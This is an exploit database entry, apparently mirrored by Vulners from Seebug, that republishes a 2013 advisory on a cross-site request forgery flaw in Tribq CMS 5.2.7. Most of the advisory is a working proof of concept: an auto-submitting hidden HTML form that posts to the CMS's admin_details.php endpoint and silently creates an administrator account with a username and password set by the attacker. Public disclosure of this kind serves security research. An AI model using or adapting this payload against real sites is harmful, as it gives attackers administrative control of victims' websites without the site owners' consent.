Lucene search
K

Tribq CMS 5.2.7 - Adding/Editing New Administrator Account CSRF

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Tribq CMS 5.2.7 - CSRF Adding New Admin Accoun

Code

                                                ###########################################################################################
# Exploit Title: Tribq CMS CSRF - Adding/Editing new administrator account 
# Date: 2013 8 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://sourceforge.net/projects/tribiq/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 5.2.7
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###########################################################################################

Summary:
========
1. CSRF - Adding administrator account


1. CSRF - Adding administrator account:
=======================================
From my standpoint, Tribq is a good CMS which is immune to many well-known vulnerabilities aside from CSRF. There are too many devastating actions may be done by hacker by conducting CSRF attack, although the critical ones are changing administrator password or adding new one. I provide an example of adding new administrator account, the attack can be done easily, afterwards, such a plain text may be appeared:

{"adminId":20,"adminType":"local"}

<html>
	<body onload="submitForm()">
	<form name="myForm" id="myForm"
	action="http://localhost/community-5.2.7c/community-5.2.7c/tb/ajax/admin_details.php" method="post">
	<input type="hidden" name="save" value="true">
	<input type="hidden" name="adminType" value="local">
	<input type="hidden" name="formMode" value="edit">
	<input type="hidden" name="username" value="Yashar">
	<input type="hidden" name="password" value="Yashar123">
	<input type="hidden" name="password_reconfirm" value="Yashar123">
	<input type="hidden" name="first_name" value="test">
	<input type="hidden" name="last_name" value="test">
	<input type="hidden" name="email" value="[email protected]">
	</form>
	<script type='text/javascript'>document.myForm.submit();</script>
</html>

/** Yasshar shahinzadeh **/
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14